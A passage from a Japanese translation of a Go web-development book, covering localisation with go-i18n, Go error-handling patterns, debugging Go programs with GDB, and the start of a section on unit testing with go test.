タイムゾーンの関係で、同一時刻においても異なる地域でその表示は異なってきます。またLocaleの関係で、時間のフォーマットも全く異なってきます。例えば日本語の環境下では：2013年 10月24日 水曜日 23時11分13秒 JSTとなり、英語の環境下ではWed Oct 24 23:11:13 CST 2012のように表示されます。ここでは２つの項目を解決しなければなりません。

タイムゾーンの問題

フォーマットの問題

$GOROOT/lib/timeパッケージのtimeinfo.zipにはlocaleに対応するタイムゾーンの定義が含まれています。対応する現在のlocaleの時間を取得するためには、まずtime.LoadLocation(name string)を使用して対応するタイムゾーンのlocaleを取得します。例えばAsia/ShanghaiまたはAmerica/Chicagoに対応するタイムゾーンデータです。その後、この情報を再利用し、time.Nowをコールすることにより得られるTimeオブジェクトとあわせて最終的な時間を取得します。詳細は以下の例をご覧ください(この例では上のいくつかの変数を採用しています):

en["time_zone"]="America/Chicago"
cn["time_zone"]="Asia/Tokyo"

loc,_:=time.LoadLocation(msg(lang,"time_zone"))
t:=time.Now()
t = t.In(loc)
fmt.Println(t.Format(time.RFC3339))

本文形式を処理する似たような方法によって時間のフォーマットの問題を解決することができます。以下に例を挙げます:

en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y年 %m月%d日 %H時%M分%S秒"

fmt.Println(date(msg(lang,"date_format"),t))

func date(fomate string,t time.Time) string{
    year, month, day = t.Date()
    hour, min, sec = t.Clock()
    //対応する%Y %m %d %H %M %Sをパースして情報を返します
    //%Y は2012に置換されます
    //%m は10に置換されます
    //%d は24に置換されます
}

通過の値のローカライズ

各地域の通過の表示も異なります。処理方法も日時とあまり変わりありません。詳細は以下のコードをご覧ください:

en["money"] ="USD %d"
cn["money"] ="￥%d円"

fmt.Println(date(msg(lang,"date_format"),100))

func money_format(fomate string,money int64) string{
    return fmt.Sprintf(fomate,money)
}

ビューとリソースのローカライズ

Localeの違いによってビューを表示させる場合もあるかもしれません。これらのビューには画像、css、jsといった各種静的なリソースが含まれています。ではこれらの情報をどのようにして処理すべきでしょうか？まずlocaleによってファイル情報を構成しなければなりません。下のディレクトリの構成をご覧ください：

views
|--en  //英語のテンプレート
    |--images     //画像情報を保存
    |--js         //JSファイルを保存
    |--css        //cssファイルを保存
    index.tpl     //ユーザのトップページ
    login.tpl     //ログインのトップページ
|--ja-JP //日本語のテンプレート
    |--images
    |--js
    |--css
    index.tpl
    login.tpl

このディレクトリ構成があってはじめて以下のようなコードで実装することができます：

s1, _ := template.ParseFiles("views"+lang+"index.tpl")
VV.Lang=lang
s1.Execute(os.Stdout, VV)

またindex.tplの中リソースの設定は以下のとおりです：

// jsファイル
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// cssファイル
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// 画像ファイル
<img src="views/{{.VV.Lang}}/images/btn.png">

このような方法を採用することでビューとリソースをローカライズすると、用意に拡張を行うことができます。

まとめ

この節ではどのようにしてローカライズリソースを使用し、保存するかご紹介しました。ある時は置換関数によって実装する必要があり、またある時はlangによって設定する必要があります。しかし最終的にはどれもkey-valueの方法によってLocaleに対応したデータを保存することになります。必要な時に対応するLocaleの情報を取り出して、もしそれがてkしうと情報であれば直接出力し、もし時間や日時または通過であった場合はfmtPrintfを使ったりその他のフォーマッタ関数によって処理する必要があります。異なるLocaleのビューとリソースに対しては最も簡単で、パスにlangを追加するだけで実装することができます。

Generated by md2min

10.3 国際化サイト

複数のロケールパッケージの管理

自動的にロケールパッケージをロード

template mapfunc

まとめ

前の節でどのようにしてローカライズリソースを処理するかご紹介しました。Localeに対応した設定ファイルです。ではもし複数のローカライズリソースを処理する場合は？いくつかの我々が通常使用する例は：簡単なテキスト翻訳、時間や日時、数字といったものはどのように処理するのでしょうか？この節では一つ一つこれらの問題を解決していきます。

複数のロケールパッケージの管理

アプリケーションをひとつ開発する時、まず決めなければならないのは、一つの言語だけをサポートすればよいのか、それとも多言語をサポートするのかということです。もし複数の言語のサポートする必要があれば、ある組織構成を作成することで、将来より多くの言語を追加できるようにしなければなりません。ここでは以下のように設計します：Localeに関係のあるファイルをconfig/localesの下に配置し、もし日本語と英語をサポートしなければならない場合は、このディレクトリの下にen.jsonとja.jsonを配置する必要があります。だいたいの内容は以下の通り：

# ja.json

{
"ja": {
    "submit": "送信",
    "create": "作成"
    }
}

#en.json

{
"en": {
    "submit": "Submit",
    "create": "Create"
    }
}

国際化をサポートするにあたって、ここでは国際化に関連したパッケージを使用することにします- - go-i18nです。まずgo-i18nパッケージにconfig/localesのディレクトリを登録することで、すべてのlocaleファイルをロードします。

Tr:=i18n.NewLocale()
Tr.LoadPath("config/locales")

このパッケージは非常に使いやすく、以下の方法によって試すことができます：

fmt.Println(Tr.Translate("submit"))
//Submitを出力
Tr.SetLocale("ja")
fmt.Println(Tr.Translate("submit"))
//"送信"を出力

自動的にロケールパッケージをロード

上ではどのようにして自動的にカスタムな言語パッケージをロードするかご紹介しました。実はgo-i18nライブラリはすでに多くのデフォルトのフォーマット情報をロードしています。たとえば時間フォーマット、通貨フォーマットです。ユーザはカスタムな設定を行う場合これらのデフォルトの設定を修正することができます。以下の処理プロセスをご覧ください：

//デフォルトの設定ファイルをロードします。これらのファイルはすべてgo-i18n/localesの下にあります。

//ファイルはそれぞれzh.json、en-json、en-US.json等と名前をつけます。より多くの言語を続けて拡張することができます。

func (il *IL) loadDefaultTranslations(dirPath string) error {
    dir, err := os.Open(dirPath)
    if err != nil {
        return err
    }
    defer dir.Close()

    names, err := dir.Readdirnames(-1)
    if err != nil {
        return err
    }

    for _, name := range names {
        fullPath := path.Join(dirPath, name)

        fi, err := os.Stat(fullPath)
        if err != nil {
            return err
        }

        if fi.IsDir() {
            if err := il.loadTranslations(fullPath); err != nil {
                return err
            }
        } else if locale := il.matchingLocaleFromFileName(name); locale != "" {
            file, err := os.Open(fullPath)
            if err != nil {
                return err
            }
            defer file.Close()

            if err := il.loadTranslation(file, locale); err != nil {
                return err
            }
        }
    }

    return nil
}

上の方法で設定ファイルをデフォルトのファイルにロードします。このようにカスタムな時間情報がない場合でも以下のようなコードで対応する情報を取得することができます：

//locale=zhの状況で、以下のコードを実行：

fmt.Println(Tr.Time(time.Now()))
//出力：2009年1月08日 星期四 20:37:58 CST

fmt.Println(Tr.Time(time.Now(),"long"))
//出力：2009年1月08日

fmt.Println(Tr.Money(11.11))
//出力:￥11.11

template mapfunc

上では複数の言語パッケージの管理とロードを実装しました。いくつかの関数の実装はロジックレイヤに基いています。例えば：“Tr.Translate”、“Tr.Time”、“Tr.Money”等です。ロジックレイヤではこのような関数を利用して必要なパラメータに対し置換を行った後テンプレートレイヤに適用する際直接出力することができます。しかしもしテンプレートレイヤでこれらの関数を直接使いたい場合はどのように実現するのでしょうか？覚えていらっしゃいますか、前にテンプレートをご紹介した時に：Go言語のテンプレートはカスタムなテンプレート関数をサポートしています。以下では操作に便利なmapfuncを実装します：

テキスト情報

テキスト情報はTr.Translateをコールすることで対応するデータを置換します。mapFuncの実装は以下のとおり：

func I18nT(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Translate(s)
}

関数の登録は以下のとおり：

t.Funcs(template.FuncMap{"T": I18nT})

テンプレートでの使用は以下のとおり：

{{.V.Submit | T}}

時間と日時

時間と日時はTr.Time関数をコールすることで対応する時間を置換します。mapFuncの実装は以下のとおり：

func I18nTimeDate(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Time(s)
}

関数の登録は以下のとおり：

t.Funcs(template.FuncMap{"TD": I18nTimeDate})

テンプレートでの使用は以下のとおり：

{{.V.Now | TD}}

通貨情報

通貨Tr.Money関数をコールすることで対応する時間を置換します。mapFuncの実装は以下のとおり：

func I18nMoney(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Money(s)
}

関数の登録は以下のとおり：

t.Funcs(template.FuncMap{"M": I18nMoney})

テンプレートでの使用は以下のとおり：

{{.V.Money | M}}

まとめ

この節を通して多言語パッケージのWebアプリケーションをどのようにして実現するかわかりました。カスタム言語パッケージでは便利に多言語を実装することができます。また、設定ファイルによって非常に簡単に複数の言語を拡張することもできます。デフォルトではgo-i18nはパブリックな設定ファイルをロードします。例えば時間、通貨等です。非常に簡単に使用することができ、同時にテンプレートにおいてこれらの関数をサポートするため、対応するテンプレート関数も実装しました。このようにしてWebアプリケーションを開発する際直接テンプレートにおいてpipelineの方法で多言語パッケージを操作することができます。

Generated by md2min

10.4 まとめ

この章の紹介を通じて、読者はどのようにしてi18nを操作するかに対して深く理解が得られたはずです。私もこの章の内容にもとづいてオープンソースのソリューションであるgo-i18nをご紹介しました：https://github.com/astaxie/go-i18n このオープンソースライブラリを通して多言語バージョンのWebアプリケーションを非常に簡単に実現することができ、我々のアプリケーションに気楽に国際化を実現させることができます。もしこのオープンソースライブラリに間違いや足りない部分があれば、ぜひこのオープンソースプロジェクトに参加することで、このライブラリがGoの標準ライブラリになるよう手助けしてください。

Generated by md2min

11 エラー処理、デバッグとテスト

目次

大部分のプログラマが“プログラム”を行う時間をbugの検査とbugの修正にかけています。あなたがコードを修正しているかシステムを再構築しているかに関わらず、ほとんどは大量の時間を故障の排除とテストに費やしています。外の世界は我々プログラマをデザイナだと思い込んでいます。システムをゼロから作り出すことができ、とても偉大で相当面白みのある仕事だと。しかし実際のところ我々は毎日エラーを取り除き、デバッグし、テストを行うことに終始しています。当然もしあなたに良い習慣があり、技術プランとこのような問題に直面しているとしたら、エラーを排除する時間を最小限に抑えて時間を価値のある事柄に費やそうとするかもしれません。

しかし残念なことに多くのプログラマはエラーの処理、デバッグやテストに時間をかけたいとは思いません。結果、アプリケーションが実運用された後になってエラーを探し出し問題を特定することにより多くの時間を費やすことになります。そのため、我々はアプリケーションを設計する前にエラー処理のプランやテスト等を前もって準備します。将来コードを修正、システムをアップグレードするのが簡単になります。

Webアプリケーションを開発するにあたって、エラーは避けられないものです。ではどのようにしてエラーの原因と問題の解決を探し出せばよいのでしょうか？ 11.1節ではGo言語においてどのようにエラー処理を行い、自分のパッケージを設計して、関数のエラー処理を行うかご紹介します。11.2節ではGDBを使ってどのように我々のプログラムをデバッグするかご紹介します。動的に実行した状況かで各種変数の情報、実行状況の監視とデバッグ。

11.3節ではGo言語のユニットテストに対して深く見ていくことにします。どのようにしてユニットテストを書くのかやGoのユニットテストのルールをどのように定義するのかをご紹介し、今後アップグレードや修正に対応したテストコードが最小化されたテストを実行できるよう保証します。

長きにわたって、良好なデバッグ、テストの習慣を身につけるのは多くのプログラマが逃げてきた事柄です。ですから、もう逃げないでください。あなたの現在のプロジェクトの開発から。Go Web開発を学習することで良好な習慣を身につけてください。

目次

Generated by md2min

11.1 エラー処理

Error型

カスタム定義のError

エラー処理

まとめ

Go言語の主な設計方針は：簡潔、明瞭です。簡潔とは文法がCと似ていて、かなり簡単であるということです。明瞭とはいかなるキーワードも分かりやすいということを指しています。どのような隠された意味も含まず、エラー処理の設計でもこの思想は一貫しています。C言語では-1またはNULLをといった情報を返すことでエラーを表していることをご存知だと思います。しかしユーザからすると、対応するAPIの説明ドキュメントを見なければ、この戻り値がいったいどういう意味を表しているのかそもそもよくわかりません。例えば:0を返すと成功するのか失敗するのかといったことです。Goではerrorと呼ばれる型を定義することで、エラーを表しています。使用する際は、返されるerror変数とnilを比較することで操作が成功したか判断します。例えばos.Open関数はファイルのオープンに失敗した時にnilではないerror変数を返します。

func Open(name string) (file *File, err error)

下の例はos.Openを使ってファイルをひとつオープンします。もしエラーが発生すればlog.Fatalにをコールすることでエラー情報を出力することができます：

f, err := os.Open("filename.ext")
if err != nil {
    log.Fatal(err)
}

os.Open関数に似て、標準パッケージのすべてのエラーを発生させうるAPIはどれもerror変数を返すので、簡単にエラー処理を行うことができます。この節ではerror型の設計を詳細にご紹介し、Webアプリケーションの開発におけるよりよいerror処理について論じます。

Error型

error型はインターフェース型の一つです。定義は：

type error interface {
    Error() string
}

errorはビルトインのインターフェース型のひとつです。/builtin/パッケージの下に対応する定義を探すことができます。多くの内部パッケージにおいて使用されるerrorはerrorsパッケージ以下で実装されたプライベート構造体errorStringです。

// errorString is a trivial implementation of error.
type errorString struct {
    s string
}

func (e *errorString) Error() string {
    return e.s
}

errors.Newを通して文字列をerrorStringに変換することで、インターフェースerrorを満たすオブジェクトを得ることができます。内部の実装は以下の通り：

// New returns an error that formats as the given text.
func New(text string) error {
    return &errorString{text}
}

以下の例ではどのようにerrors.Newを使用するかデモを行います：

func Sqrt(f float64) (float64, error) {
    if f < 0 {
        return 0, errors.New("math: square root of negative number")
    }
    // implementation
}

以下の例ではSqrtをコールした際に負の数を渡し、non-nilなerrorオブジェクトを取得しています。このオブジェクトをnilと比較し、結果としてtrueを得ることでfmt.Println(fmtパッケージはerrorを処理する際Errorメソッドをコールします)がコールされ、エラーを出力します。下のコールのコード例をご覧ください：

f, err := Sqrt(-1)
if err != nil {
    fmt.Println(err)
}

カスタム定義のError

上のご紹介で我々はerrorが単なるinterfaceだとわかりました。そのため自分のパッケージを実装する際、このインターフェースを実装する構造体を定義することで、自分のエラー定義を実装することができます。Jsonパッケージの例をご覧ください：

type SyntaxError struct {
    msg    string // エラーの説明
    Offset int64  // エラーが発生した場所
}

func (e *SyntaxError) Error() string { return e.msg }

OffsetフィールドはErrorをコールする時には出力されません。しかし型アサーションを通してエラーの型を取得することができますので、対応するエラー情報を出力することができます。下の例をご覧ください：

if err := dec.Decode(&val); err != nil {
    if serr, ok := err.(*json.SyntaxError); ok {
        line, col := findLine(f, serr.Offset)
        return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err)
    }
    return err
}

関数がカスタム定義のエラーを返す時は戻り値にerror型を設定するようおすすめします。特に前もって宣言しておく必要のないエラー型の変数には注意が必要です。例えば：

func Decode() *SyntaxError { // エラー、上のレイヤでコールした利用者によるerr!=nilの判断が永遠にtrueになります。
    var err *SyntaxError     // 予めエラー変数を宣言します
    if エラー条件 {
        err = &SyntaxError{}
    }
    return err               // エラー、errは永久にnilではない値と等しくなり、上のレイヤでコールした利用者によるerr!=nilの判断が常にtrueとなります
}

原因はこちら http://golang.org/doc/faq#nil_error

上の例による簡単なデモでError型をどのようにして自分で定義するかお見せしました。しかしもしもっと複雑なエラー処理を必要とした場合はどうすればよいのでしょうか？netパッケージが採用している方法を参考にします：

package net

type Error interface {
    error
    Timeout() bool   // Is the error a timeout?
    Temporary() bool // Is the error temporary?
}

コールされる場所ではerrがnet.Errorかどうか型アサーションにより判断することで、エラーの処理を細分化しています。例えば下の例ではもしネットワークに一時的にエラーが発生している場合にsleep 1秒を行なってリトライを行います：

if nerr, ok := err.(net.Error); ok && nerr.Temporary() {
    time.Sleep(1e9)
    continue
}
if err != nil {
    log.Fatal(err)
}

エラー処理

Goはエラー処理においてCに似た戻り値を検査する方法を採用しており、その他の大多数の主流な言語が採用する例外方式ではありません。これはコードを書く上でとても大きな欠点の一つです。エラー処理コードの冗長さは、このような状況において我々が検査関数を再利用することによって似たようなコードを減らします。

このコード例をご確認ください：

func init() {
    http.HandleFunc("/view", viewRecord)
}

func viewRecord(w http.ResponseWriter, r *http.Request) {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        http.Error(w, err.Error(), 500)
        return
    }
    if err := viewTemplate.Execute(w, record); err != nil {
        http.Error(w, err.Error(), 500)
    }
}

上の例ではデータの取得とテンプレートの展開をコールする時にエラーの検査を行なっています。エラーが発生した場合は共通の処理関数であるhttp.Errorをコールし、クライアントに500エラーを返して対応するエラーデータを表示します。しかしHnadleFuncが追加されるに従って、このようなエラー処理ロジックのコードが多くなってきてしまいます。実は我々は自分で定義したルータを使ってコードを短縮させることができます(実装のやり方は第三章のHTTPの詳しい説明をご参考下さい)。

type appHandler func(http.ResponseWriter, *http.Request) error

func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if err := fn(w, r); err != nil {
        http.Error(w, err.Error(), 500)
    }
}

上では自分でルータを定義しています。以下の方法によって関数を登録することができます：

func init() {
    http.Handle("/view", appHandler(viewRecord))
}

/viewをリクエストした時、我々のロジック処理は以下のようなコードに変わります。はじめの実装方法と比べるとだいぶ簡単になっています。

func viewRecord(w http.ResponseWriter, r *http.Request) error {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        return err
    }
    return viewTemplate.Execute(w, record)
}

上の例でエラー処理を行った場合すべてのエラーはユーザに500エラーとして返ります。その後対応するエラーコードを出力します。このエラー情報の定義はもっとユーザビリティを上げることもできます。デバッグする際に問題の箇所を確定するのに便利です。自分で返るエラー型を定義することもできます：

type appError struct {
    Error   error
    Message string
    Code    int
}

自分で定義したルータを以下のようなメソッドに変更します：

type appHandler func(http.ResponseWriter, *http.Request) *appError

func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if e := fn(w, r); e != nil { // e is *appError, not os.Error.
        c := appengine.NewContext(r)
        c.Errorf("%v", e.Error)
        http.Error(w, e.Message, e.Code)
    }
}

このように自分で定義したエラーを修正した後、ロジックは以下のようなメソッドに修正できます：

func viewRecord(w http.ResponseWriter, r *http.Request) *appError {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        return &appError{err, "Record not found", 404}
    }
    if err := viewTemplate.Execute(w, record); err != nil {
        return &appError{err, "Can't display record", 500}
    }
    return nil
}

上で示したとおり、viewにアクセスした際異なる状況によって異なるエラーコードとエラー情報を取得することができます。これははじめのバージョンに比べてコード量にさほど変化はありませんが、これが表示するエラーはよりわかりやすくなっています。提示されるエラー情報のユーザビリティが高められ、拡張性もはじめのものに比べてよくなっています。

まとめ

プログラムの設計において障害の許容は重要な仕事の一部です。Goではエラー処理によってこれを実現します。errorはひとつのインターフェースに過ぎませんが、多くに変化させることができます。自分の需要に合わせて異なる処理を実装することができます。最後にご紹介したエラー処理の方法で、皆様によりよいWebエラーの処理の方法を設計するにあたってご助力になれば幸いです。

Generated by md2min

11.2 GDBを使用してデバッグする

GDBデバッグの簡単な紹介

よく使うコマンド

デバッグ過程

まとめ

プログラムを開発するにあたって開発者は度々デバッグコードを書く必要があります。Go言語は、PHPやPythonといった動的な言語のようにコンパイラを必要とせず修正を行うだけで直接出力し、動的に実行環境下でデータを出力できるわけではありません。当然Go言語もPrintlnのようにデータを出力することでデバッグすることはできますが、毎回再コンパイルする必要があります。これは非常に面倒くさいことです。Pythonではpdb/ipdbのようなツールによってデバッグを行うことができますし、Javascriptにも似たようなツールがあります。これらのツールはどれも動的に変数情報を表示させることや、ステップ実行ができます。我々はGDBを使ってデバッグすることができます。ではこの節ではどのようにしてGDBによってGoプログラムをデバッグするのかご紹介しましょう。

GDBデバッグの簡単な紹介

GDBはFSF(フリーソフトウェア財団)が配布している強力なUNIXシステムのプログラムデバッグツールです。GDBを使って以下のようなことができます：

プログラムを起動して、開発者が定義した要求にしたがってプログラムを実行できます。

デバッグされるプログラムは開発者の設定したブレークポイントで止めることができます。（ブレークポイントは条件式にすることができます。）

プログラムが停止した時、この時のプログラムで発生している事柄を検査することができます。

動的に現在のプログラムの実行環境を変更することができます。

現在GoプログラムのデバッグをサポートしているGDBのバージョンは7.1以上です。

Goプログラムをコンパイルするときは以下のいくつかに注意してください

パラメータは-ldflags “-s”は、debugの情報の出力を省略します。

-gcflags “-N -l” パラメータではGoの内部で行われるいくつかの最適化を無視できます。集成体型変数と関数の最適化です。これらはGDBのデバッグでは非常に困難ですので、コンパイルする時にこの２つのパラメータを追加することで最適化を避けます。

よく使うコマンド

GDBでよく使うコマンドのいくつかは以下の通りです

list

lと省略されます。ソースコードを表示するために使用されます。デフォルトで10行のコードを表示します。後ろに表示する具体的な行をパラメータとして渡すことができます。例えば：list 15では10行のコードを表示し、以下のように15行目が10行のうちの中心に表示されます。

10          time.Sleep(2 * time.Second)
11          c <- i
12      }
13      close(c)
14  }
15
16  func main() {
17      msg := "Starting main"
18      fmt.Println(msg)
19      bus := make(chan int)

break

bと省略されます。ブレークポイントを設定するために用いられます。後ろにブレークポイントを置く行をパラメータとして追加します。例えばb 10では10行目にブレークポイントが置かれます。

delete dと省略されます。ブレークポイントを削除するために用いられます。後ろにブレークポイントの番号がつきます。この番号はinfo breakpointsによって対応する設定されたブレークポイントの番号を取得できます。以下では設定されたブレークポイントの番号を表示します。

Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
breakpoint already hit 1 time

backtrace

btと省略されます。以下のように実行しているコードの過程を出力するために用いられます：

#0  main.main () at /home/xiemengjun/gdb.go:23
#1  0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#2  0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#3  0x0000000000000000 in ?? ()

info

infoコマンドは情報を表示します。後ろにいくつかのパラメータがあります。よく使われるものは以下のいくつかです：

info locals

現在実行しているプログラムの変数の値を表示します。

info breakpoints

現在設定しているブレークポイントのリストを表示します。

info goroutines

現在実行しているgoroutineのリストを表示します。以下のコードが示すとおり*がついているものは現在実行しているものです。

* 1  running runtime.gosched
* 2  syscall runtime.entersyscall
  3  waiting runtime.gosched
  4 runnable runtime.gosched

print

pと省略されます。変数またはその他の情報を表示するのに用いられます。後ろに出力する必要のある変数名が追加されます。当然とても使いやすい関数$len()と$cap()もあります。現在のstring、slicesまたはmapsの長さと容量を返すのに使われます。

whatis

現在の変数の型を表示するのに用いられます。後ろに変数名がつきます。たとえばwhatis msgでは以下のように表示されます：

type = struct string

next

nと省略されます。ステップ実行に使われます。次のステップに進みます。ブレークポイントがあればnを入力することで次のステップまで続けて実行することができます。

coutinue

cと省略されます。現在のブレークポイントから抜けます。後ろにパラメータをつけることで、何回かのブレークポイントを飛び越えることができます。

set variable

このコマンドは実行中の変数の値を変更するのに用いられます。フォーマットは以下のとおり： set variable <var>=<value>

デバッグ過程

以下のコードによってどのようにGDBを使ってGoプログラムをデバッグするのかデモを行います。以下はデモコードです：

package main

import (
    "fmt"
    "time"
)

func counting(c chan<- int) {
    for i := 0; i < 10; i++ {
        time.Sleep(2 * time.Second)
        c <- i
    }
    close(c)
}

func main() {
    msg := "Starting main"
    fmt.Println(msg)
    bus := make(chan int)
    msg = "starting a gofunc"
    go counting(bus)
    for count := range bus {
        fmt.Println("count:", count)
    }
}

ファイルをコンパイルして実行可能ファイルgdbfileを生成します:

go build -gcflags "-N -l" gdbfile.go

gdbコマンドによってデバッグを起動します：

gdb gdbfile

起動したらまずこのプログラムが実行できるか見てみましょう。runコマンドを入力してエンターキーを押すとプログラムが実行されます。プログラムが正常であれば、プログラムは以下のように出力します。コマンドラインで直接プログラムを実行したのと同じです：

(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally]

よし、プログラムをどのようにして起動するかわかりました。次にプログラムにブレークポイントを設定します：

(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
[New LWP 3284]
[Switching to LWP 3284]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23          fmt.Println("count:", count)

上の例ではb 23で23行目にブレークポイントを設定しました。その後runを入力するとプログラムが開始します。現在プログラムは前に設定されたブレークポイントで停止しています。ブレークポイントに対応するコンテキストのソースコードを知るためには、listと入力することでソースコードが現在停止している行の前の5行から表示させることができます：

(gdb) list
18      fmt.Println(msg)
19      bus := make(chan int)
20      msg = "starting a gofunc"
21      go counting(bus)
22      for count := range bus {
23          fmt.Println("count:", count)
24      }
25  }

GDBが実行している現在のプログラムの環境ではいくつかの便利なデバッグ情報を持っています。対応する変数を出力するだけで、対応する変数の型と値を確認することができます：

(gdb) info locals
count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int

次にこのプログラムを継続して実行させ続けなければなりません。以下のコマンドをご覧ください

(gdb) c
Continuing.
count: 0
[New LWP 3303]
[Switching to LWP 3303]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
(gdb) c
Continuing.
count: 1
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)

毎回cを入力する度に一回のコードが実行されます。次のforループにジャンプして、続けて対応する情報を出力します。

現在コンテキストの関連する変数の情報を変えたいとします。いくつかのプロセスを飛び越えて、続けて次のステップを実行し、修正を行った後に欲しい結果を得ます：

(gdb) info locals
count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)

最後に少しだけ考えてみましょう。前のプログラムの実行の全過程ではいくつのgorutineが作成されたでしょうか。各goroutineは何をやっているのでしょうか：

(gdb) info goroutines
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()

goroutinesのコマンドを確認することでgoroutineの内部がどのように実行されているのか詳しく理解することができます。各関数のコールされる順番はすでにはっきり表示されています。

まとめ

この章ではGDBデバッグにおけるGoプログラムの基本コマンドのいくつかをご紹介しました。run、print、info、set variable、continue、list、breakといったよく使われるデバッグコマンドを含め、上のデモで行ったように、読者はすでにGoプログラムに対してGDBを使ったデバッグを基本的に理解したものと信じています。もしより多くのデバッグテクニックを知りたければオフィシャルのページのGDBデバッグの項目をご参照ください。

Generated by md2min

11.3 Goでどのようにテストを書くか

どのようにテストを書くか

どのようにして耐久テストを書くか

まとめ

プログラムの開発においてテストはとても重要です。どのようにコードの質を保証するか、どのように各関数が実行できることを保証するか、また書いたコードの性能が良いことをどのように保証するかです。我々はユニットテストは主にプログラムの設計や実装のロジックエラーを発見することであると知っています。問題を早期に発見し、問題を特定し解決せしめ、性能をテストするにはプログラム設計上の問題のいくつかを発見することで、オンラインのプログラムがマルチプロセッシングしている状況でも安定を保てるようにします。この節ではこの一連の問題からGo言語でどのようにユニットテストと性能テストを実現するかご紹介します。

Go言語はあらかじめ用意されている軽量なテストフレームワークtestingとgo testコマンドを使ってユニットテストと性能テストを実現します。testingフレームワークとその他の言語でのテストフレームワークはよく似ています。このフレームワークに基いて対応する関数に対してテストを書くことができます。またこのフレームワークに基づいて対応する耐久テストを書くこともできます。ではどのように書くのか一つ一つ見ていくことにしましょう。

どのようにテストを書くか

go testコマンドでは対応するディレクトリ下の全てのファイルを実行するしかできません。そのため、gotestというディレクトリを新規に作成することで、すべてのコードとテストコードをこのディレクトリの中に配置することにします。

次にこのディレクトリの下に2つのファイルを新規に作成します：gotest.goとgotest_test.go

gotest.go:このファイルにはパッケージを一つ書きます。中身は除算を行う関数がひとつあります:

package gotest

import (
    "errors"
)

func Division(a, b float64) (float64, error) {
    if b == 0 {
        return 0, errors.New("除数は0以外でなければなりません")
    }

    return a / b, nil
}

gotest_test.go:これはユニットテストのファイルですが、以下の原則を覚えておいてください:

ファイル名は必ず_test.goが最後につくようにしてください。これによってgo testを実行した時に対応するコードが実行されるようになります。

testingというパッケージをimportする必要があります。

すべてのテスト関数名はTestから始まります。

テストはソースコードに書かれた順番に実行されます。

テスト関数TestXxx()のパラメータはtesting.Tです。この型を使ってエラーやテストの状態を記録することができます。

テストフォーマット: func TestXxx (t *testing.T)、Xxxの部分は任意の英数字の組み合わせです。ただし頭文字は小文字[a-z]ではいけません、例えばTestintdivというのは間違った関数名です。

関数ではtesting.TのError、Errorf、FailNow、Fatal、FatalIfメソッドをコールすることでテストがパスしないことを説明します。Logメソッドをコールすることでテストの情報を記録します。

以下は我々のテストコードです：

package gotest

import (
    "testing"
)

func Test_Division_1(t *testing.T) {
    if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function
        t.Error("除算関数のテストが通りません") // もし予定されたものでなければエラーを発生させます。
    } else {
        t.Log("はじめのテストがパスしました") //記録したい情報を記録します
    }
}

func Test_Division_2(t *testing.T) {
    t.Error("パスしません")
}

プロジェクトのディレクトリにおいてgo testを実行すると以下のような情報が表示されます：

--- FAIL: Test_Division_2 (0.00 seconds)
    gotest_test.go:16: パスしません
FAIL
